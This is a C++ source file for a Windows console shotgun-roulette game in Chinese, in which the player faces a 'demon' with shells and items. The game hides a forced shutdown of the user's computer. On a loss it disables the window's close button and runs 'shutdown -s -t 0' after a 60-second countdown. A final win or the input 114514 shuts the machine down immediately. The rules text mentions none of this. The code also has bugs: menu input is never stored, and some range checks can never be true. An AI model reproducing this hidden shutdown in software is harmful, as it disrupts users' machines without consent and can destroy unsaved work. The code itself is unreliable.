#include<windows.h> #include<bits/stdc++.h> using namespace std; const string daojuname[111]={"放大镜","手铐","小刀","烟","饮料","肾上腺素","转换器","过期药片"}; const int daojucnt=8;//几种道具 const int SLEEPTIME=114;//等待时间 (等待SLEEPTIME毫秒) const int zhongdujilv=5;//过期药片中毒几率(1/zhongdujilv) int Your=6,Other=6; int Hurt=1; int shoukao_you; int Know; int shoukaoemo; double Yourmoney; int huihe=1; int shi,kong,SHI,KONG; int q[111],qlen; int Rand(int x,int y){ int A=rand(),B=rand(); return A*1ll*B%(y-x+1)+x; } int T; int daojulen; int daoju[111]; int daojulen1; int daoju1[111]; void build_gun(){ system("pause"); system("cls"); kong=Rand(1,4); shi=Rand(1,4); qlen=0; cout<<(SHI=shi)<<"发实弹,"<<(KONG=kong)<<"发空弹\n"; int a1=kong,a2=shi; for(int i=1;i<=kong+shi;i++){ int sum=Rand(1,a1+a2); if(sum<=a1){ a1--; q[++qlen]=2; }else{ a2--; q[++qlen]=1; } } if(huihe!=1){ int maxn=min(4,8-daojulen); cout<<"你获得了"<<maxn<<"个道具:\n"; daojulen+=maxn; for(int i=1;i<=maxn;i++){ int kkk=Rand(0,daojucnt-1); daoju[kkk]++; cout<<daojuname[kkk]; if(i!=maxn){ cout<<","; } } cout<<"\n"; maxn=min(4,8-daojulen1); cout<<"恶魔获得了"<<maxn<<"个道具:\n"; daojulen1+=maxn; for(int i=1;i<=maxn;i++){ int kkk=Rand(0,daojucnt-1); daoju1[kkk]++; cout<<daojuname[kkk]; if(i!=maxn){ cout<<","; } } } cout<<"\n"; return; } int pin(){ string s; cin>>s; int l=s.size(); int x=0; for(int i=0;i<l;i++){ if(s[i]<'0' || s[i]>'9')return -1; x*=10; x+=s[i]-'0'; } if(x==0)return 10; return x; } int IsOver(){ if(Your<=0){ cout<<"你输了\n"; Sleep(2000); // ========== 强制全屏 & 禁用关闭/最小化 ========== HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); // 隐藏光标 CONSOLE_CURSOR_INFO cursorInfo; GetConsoleCursorInfo(hConsole, &cursorInfo); cursorInfo.bVisible = FALSE; SetConsoleCursorInfo(hConsole, &cursorInfo); // 最大化窗口 HWND hwnd = GetConsoleWindow(); ShowWindow(hwnd, SW_MAXIMIZE); // 移除系统菜单(禁用关闭按钮) HMENU hMenu = GetSystemMenu(hwnd, FALSE); if (hMenu != NULL) { DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND); } // 获取窗口样式,禁用最小化和最大化按钮 LONG style = GetWindowLong(hwnd, GWL_STYLE); style &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX); SetWindowLong(hwnd, GWL_STYLE, style); // 刷新窗口以应用样式变化 SetWindowPos(hwnd, NULL, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED); // ========== 倒计时逻辑 ========== int seconds = 60; // 倒计时秒数,可以自己改 for (int i = seconds; i >= 0; i--) { // 最后10秒变红 if (i <= 10) { SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); } cout << "\r倒计时: " << i << " 秒后关机" << flush; Sleep(1000); } cout << endl; system("shutdown -s -t 0"); // 倒计时结束,立即关机 exit(0); } if(Other<=0){ if(huihe==3){ Yourmoney/=3; cout<<"你赢了\n你获得了奖金$"<<Yourmoney<<"\n"; system("pause"); system("shutdown -s -t 0"); exit(0); }else if(huihe==2){ cout<<"进入第三回合\n"; huihe=3; Your=6; Other=6; system("pause"); system("cls"); build_gun(); }else if(huihe==1){ cout<<"进入第二回合\n"; huihe=2; Your=6; Other=6; system("pause"); system("cls"); build_gun(); } return 1; } return 0; } void wait(){ for(int i=1;i<=3;i++){ Sleep(SLEEPTIME); cout<<"."; } return; } void Timeyou(){ system("pause"); system("cls"); int x; cout<<SHI<<"发实弹,"<<KONG<<"发空弹\n\n"; cout<<"现在是你的回合\n\n"; if(Your<=2 && huihe!=1){ cout<<"你的生命:@#%&%%&@#%@%*&*\n"; }else{ cout<<"你的生命:"<<Your<<"/6\n"; } if(Other<=2 && huihe!=1){ cout<<"恶魔生命:@$%#^%%^%&*&%%$\n"; }else{ cout<<"恶魔生命:"<<Other<<"/6\n"; } if(huihe!=1){ cout<<"你现在拥有的道具:\n"; for(int i=0;i<daojucnt;i++){ cout<<daojuname[i]; cout<<daoju[i]; cout<<"个"; if(i!=daojucnt-1){ cout<<","; } } cout<<"\n"; cout<<"恶魔现在拥有的道具:\n"; for(int i=0;i<daojucnt;i++){ cout<<daojuname[i]; cout<<daoju1[i]; cout<<"个"; if(i!=daojucnt-1){ cout<<","; } } cout<<"\n"; } cout<<"你要\n"; cout<<"1.向恶魔开枪\n"; cout<<"2.向自己开枪\n"; if(huihe!=1){ for(int i=0;i<daojucnt;i++){ cout<<i+3<<".使用"; cout<<daojuname[i]<<"\n"; } } x=pin(); if(huihe==1&&x<1&&x>2){ cout<<"不能进行该操作\n"; return; } if(huihe!=1&&x<1&&x>daojucnt+3){ cout<<"不能进行该操作\n"; return; } if(x==1){ cout<<"你决定向恶魔开枪\n"; T++; wait(); if(q[qlen]==2){ Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; cout<<"是空弹\n"; if(shoukao_you==1){ shoukao_you=0; cout<<"因为你使用了"<<daojuname[1]<<",所以可以再来一次\n"; Sleep(SLEEPTIME); T--; } }else{ Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong))); shi--; qlen--; Other-=Hurt; cout<<"是实弹\n"; cout<<"造成了"<<Hurt<<"点伤害\n"; Hurt=1; Sleep(SLEEPTIME); if(IsOver()){ return ; } if(huihe==3&&Other<=2){ cout<<"恶魔的起搏器断开!\n"; Yourmoney+=5000.0; } if(shoukao_you==1){ shoukao_you=0; Yourmoney+=1000.0; cout<<"因为你使用了"<<daojuname[4]<<",所以可以再来一次\n"; Sleep(SLEEPTIME); T--; } } }else if(x==2){ cout<<"你决定向自己开枪\n"; wait(); if(q[qlen]==2){ Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; cout<<"是空弹\n"; }else{ Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong)); T++; shi--; qlen--; Your-=Hurt; cout<<"是实弹\n"; cout<<"造成了"<<Hurt<<"点伤害\n"; Hurt=1; Sleep(SLEEPTIME); IsOver(); if(huihe==3&&Your<=2){ cout<<"你的起搏器断开!\n"; } if(shoukao_you==1){ shoukao_you=0; cout<<"因为你使用了手铐,所以可以再来一次\n"; Sleep(SLEEPTIME); T--; } } }else if(x==3){ if(daoju[0]){ daoju[0]--; daojulen--; cout<<"你使用了"<<daojuname[0]<<"\n"; wait(); cout<<"你看到了"; if(q[qlen]==1){ cout<<"实弹\n"; Yourmoney+=2500.0; }else{ cout<<"空弹\n"; } Sleep(SLEEPTIME); cout<<"\n"; }else{ cout<<"你现在没有"<<daojuname[0]<<"\n"; } }else if(x==4){ if(daoju[1]){ if(!shoukao_you){ daoju[1]--; daojulen--; cout<<"你使用了"<<daojuname[1]<<"\n"; cout<<"你获得了连开两枪的机会\n"; shoukao_you=1; }else{ cout<<"你已经用过"<<daojuname[1]<<"了\n"; } }else{ cout<<"你现在没有"<<daojuname[1]<<"\n"; } }else if(x==5){ if(daoju[2]){ if(Hurt==1){ daoju[2]--; daojulen--; cout<<"你使用了"<<daojuname[2]<<"\n"; cout<<"若下一发为实弹则伤害翻倍\n"; Hurt*=2; Yourmoney+=500.0; }else{ cout<<"你已经用过"<<daojuname[2]<<"了\n"; } }else{ cout<<"你现在没有"<<daojuname[2]<<"\n"; } }else if(x==6){ if(daoju[3]){ if(Your^6){ daoju[3]--; daojulen--; cout<<"你使用了"<<daojuname[3]<<"\n"; cout<<"你回复了一点生命\n"; Yourmoney+=500.0; Your++; }else{ cout<<"你现在不需要"<<daojuname[3]<<"\n"; } }else{ cout<<"你现在没有"<<daojuname[3]<<"\n"; } }else if(x==7){ if(daoju[4]){ daoju[4]--; daojulen--; cout<<"你使用了"<<daojuname[4]<<"\n"; wait(); cout<<"你退了一发"; if(q[qlen]==2){ cout<<"空弹\n"; kong--; }else{ cout<<"实弹\n"; Yourmoney+=500.0; shi--; } qlen--; Sleep(SLEEPTIME); }else{ cout<<"你现在没有"<<daojuname[4]<<"\n"; } }else if(x==8){ if(daoju[5]){ daoju[5]--; cout<<"你使用了"<<daojuname[5]<<"\n"; cout<<"恶魔现在拥有的道具:\n"; int tou; for(int i=0;i<daojucnt;i++){ cout<<"第"<<i+1<<"号道具"; cout<<daojuname[i]; cout<<"有"<<daoju1[i]; cout<<"个\n"; } while(1){ cout<<"你想要拿走恶魔的什么道具?\n"; tou=pin(); tou--; if(daoju1[tou]){ daoju1[tou]--; daoju[tou]++; daojulen1--; cout<<"你拿走了恶魔的"<<daojuname[tou]<<"\n"; break; }else if(tou>daojucnt){ cout<<"没有"<<tou+1<<"号道具\n"; }else{ cout<<"恶魔没有这个道具\n"; } } Sleep(SLEEPTIME); }else{ cout<<"你现在没有"<<daojuname[5]<<"\n"; } }else if(x==9){ if(daoju[6]){ daoju[6]--; daojulen--; cout<<"你使用了"<<daojuname[6]<<"\n"; q[qlen]=3-q[qlen]; Sleep(SLEEPTIME); }else{ cout<<"你现在没有"<<daojuname[6]<<"\n"; } }else if(x==10){ if(daoju[7]){ daoju[7]--; daojulen--; cout<<"你使用了"<<daojuname[7]<<"\n"; wait(); if(Rand(1,2)==2){ cout<<"药片没有毒,你回复了两点生命\n"; Your+=2; Yourmoney+=500.0; }else{ cout<<"药片有毒,你扣除了一点生命\n"; Your--; } system("pause"); system("cls"); return; }else{ cout<<"你现在没有"<<daojuname[7]<<"\n"; } } return; } void fightyou(){ cout<<"恶魔决定向你开枪"; T++; wait(); if(q[qlen]==2){ Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong))); kong--; qlen--; Hurt=1; Know=0; cout<<"是空弹\n"; if(shoukaoemo){ cout<<"因为恶魔使用了"<<daojuname[4]<<",所以可以再来一次\n"; T--; Sleep(SLEEPTIME); shoukaoemo=0; } }else{ Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong))); shi--; qlen--; Your-=Hurt; cout<<"是实弹\n"; cout<<"造成了"<<Hurt<<"点伤害\n"; Hurt=1; Know=0; Sleep(SLEEPTIME); IsOver(); if(huihe==3&&Your<=2){ cout<<"你的起搏器断开!\n"; } if(shoukaoemo){ cout<<"因为恶魔使用了手铐,所以可以再来一次\n"; Yourmoney+=1000.0; T--; Sleep(SLEEPTIME); shoukaoemo=0; } } } void fightemo(){ cout<<"恶魔决定向自己开枪"; wait(); if(q[qlen]==2){ Yourmoney+=2000.0*(1+(double)(shi)*1.0/(double)(shi+kong)); kong--; qlen--; cout<<"是空弹\n"; Know=0; }else{ Yourmoney+=5000.0*(1+(double)(kong)*1.0/(double)(shi+kong)); shi--; T++; qlen--; Other-=Hurt; cout<<"是实弹\n"; cout<<"造成了"<<Hurt<<"点伤害\n"; Hurt=1; Know=0; Sleep(SLEEPTIME); IsOver(); if(huihe==3&&Other<=2){ cout<<"恶魔的起搏器断开!\n"; Yourmoney+=5000.0; } if(shoukaoemo){ cout<<"因为恶魔使用了手铐,所以可以再来一次\n"; T--; Sleep(SLEEPTIME); shoukaoemo=0; } } } void Timeother(){ system("pause"); system("cls"); cout<<"本回合有"<<SHI<<"颗实弹,"<<KONG<<"颗空弹\n\n"; cout<<"本回合有"<<shi<<"颗实弹,"<<kong<<"颗空弹\n\n"; cout<<"现在是恶魔的回合\n\n"; if(Your<=2 && huihe!=1){ cout<<"你的生命:@#%&%%&@#%@%*&*\n"; }else{ cout<<"你的生命:"<<Your<<"/6\n"; } if(Other<=2 && huihe!=1){ cout<<"恶魔生命:@$%#^%%^%&*&%%$\n"; }else{ cout<<"恶魔生命:"<<Other<<"/6\n"; } if(huihe!=1){ cout<<"你现在拥有的道具:\n"; for(int i=0;i<daojucnt;i++){ cout<<daojuname[i]; cout<<daoju[i]; cout<<"个"; if(i!=daojucnt-1){ cout<<","; } } cout<<"\n恶魔现在拥有的道具:\n"; for(int i=0;i<daojucnt;i++){ cout<<daojuname[i]; cout<<daoju1[i]; cout<<"个"; if(i!=daojucnt-1){ cout<<","; } } } cout<<"\n"; Sleep(SLEEPTIME); if(Know==0&&kong==0){ Know=1; } if(Other!=6){ if(daoju1[3]){ daoju1[3]--; daojulen1--; cout<<"恶魔使用了"<<daojuname[3]; cout<<"\n恶魔回复了一点生命\n"; Other++; Yourmoney+=500.0; return; }else if(daoju1[7]){ daoju1[7]--; daojulen1--; cout<<"恶魔使用了"<<daojuname[7]<<"\n"; wait(); if(Rand(1,zhongdujilv)==1){ cout<<"药片没有毒,恶魔回复了两点生命\n"; Other+=2; Yourmoney+=500.0; }else{ cout<<"药片有毒,恶魔扣除了一点生命\n"; Other--; } return; } } if(Know==0){ if(abs(shi-kong)<2&&kong!=0){ if(daoju1[0]){ daoju1[0]--; daojulen1--; cout<<"恶魔使用了放大镜\n"; wait(); cout<<"\nVery Interesting\n"; if(q[qlen]==1){ Yourmoney+=2500.0; Know=1; }else{ Know=2; } return ; } } } if(Know==1){ if(Hurt==1){ if(daoju1[2]){ daoju1[2]--; daojulen1--; Hurt*=2; cout<<"恶魔使用了"<<daojuname[2]<<"\n"; cout<<"若下一发为实弹则伤害翻倍"; Yourmoney+=500.0; return; }else if(daoju1[5] && daoju[2]){ daoju1[5]--; daoju1[2]++; daoju[2]--; daojulen--; cout<<"恶魔使用了"<<daojuname[5]<<"\n"; cout<<"盗取了你的"<<daojuname[2]<<"\n"; Yourmoney+=500.0; return; } }else{ if(shi>=kong+1&&shoukaoemo!=1&&daoju1[1]){ daoju1[1]--; daojulen1--; shoukaoemo=1; cout<<"恶魔使用了"<<daojuname[1]<<"\n"; cout<<"恶魔获得了连开两枪的机会\n"; return ; }else if(daoju1[5] && daoju[1]){ daoju1[5]--; daoju1[1]++; daoju[1]--; daojulen--; cout<<"恶魔使用了"<<daojuname[5]<<"\n"; cout<<"盗取了你的"<<daojuname[1]<<"\n"; Yourmoney+=500.0; return; } } fightyou(); return; }else if(Know==2){ if(daoju1[6]){ daoju1[6]--; daojulen1--; q[qlen]=3-q[qlen]; Know=1; cout<<"恶魔使用了"<<daojuname[6]<<"\n"; cout<<"空弹变实弹,实弹变空弹\n"; return ; } }else{ if(daoju1[4]){ daoju1[4]--; daojulen1--; cout<<"恶魔使用了"<<daojuname[4]<<"\n"; wait(); cout<<"恶魔退了一发"; if(q[qlen]==2){ cout<<"空弹\n"; kong--; }else{ cout<<"实弹\n"; shi--; } Know=0; qlen--; return; } if(shi>kong){ fightyou(); }else{ fightemo(); } } return; } void Play(){ while(1){ if(shi+kong==0){ build_gun(); continue; } if(T%2==0){ system("color f6"); Timeyou(); }else{ system("color 05"); Timeother(); } } return; } int main(){ srand(time(0)); int x; while(1){ cout<<"又来了一位挑战者...\n"; Sleep(SLEEPTIME); cout<<"准备好参与恶魔的游戏吗?胜者带走奖金,败者将会在此长眠\n1.好的\n2.没问题\n"; pin(); if(x==1||x==2){ break; } if(x==114514){ system("shutdown -s -t 0"); exit(0); } cout<<"到底有没有准备好\n"; system("pause"); system("cls"); } while(1){ cout<<"你清楚我们的规则吗?\n1.清楚\n2.不清楚\n"; pin(); if(x==1||x==2){ break; } cout<<"到底清楚还是不清楚\n"; system("pause"); system("cls"); } if(x==2){ for(int i=1;i<=3;i++){ cout<<"."; Sleep(SLEEPTIME); } cout<<"\n"; cout<<"规则:\n"; cout<<"你和恶魔都各有6点生命\n" ; cout<<"每轮开始前,你将知道一共有几发实弹,几发空弹\n"; cout<<"每轮你可以选择对自己开枪,对恶魔开枪或者使用道具\n"; cout<<"如果你对自己开枪,若为空弹,则可以继续行动,否则,停止行动\n"; cout<<"如果你对恶魔开枪,无论如何,都将停止行动\n"; cout<<"第二、三回合每轮开始前双方都将获得4个道具作为补给(上限为8个)\n"; cout<<"到了第三回合,若有一方只剩两点生命,则该方的起搏器将被销毁,无法看见自己血量!\n"; cout<<"道具一览:\n"; cout<<daojuname[0]<<":可以知道下一发子弹是空弹还是实弹\n"; cout<<daojuname[1]<<":增加一次本回合的行动次数\n"; cout<<daojuname[2]<<":若下一发子弹为实弹,则伤害翻倍\n"; cout<<daojuname[3]<<":可以回复1点生命\n"; cout<<daojuname[4]<<":可以退一发子弹\n"; cout<<daojuname[5]<<":可以拿走对方的道具\n"; cout<<daojuname[6]<<":将枪里的一发子弹空弹转实弹,实弹转空弹\n"; cout<<daojuname[7]<<":可能扣一滴血,也有可能加两滴血\n"; system("pause"); system("cls"); } cout<<"好吧\n"; Sleep(SLEEPTIME); cout<<"游戏将要开始了哦\n"; Play(); return 0; }
Note.ms
/tnks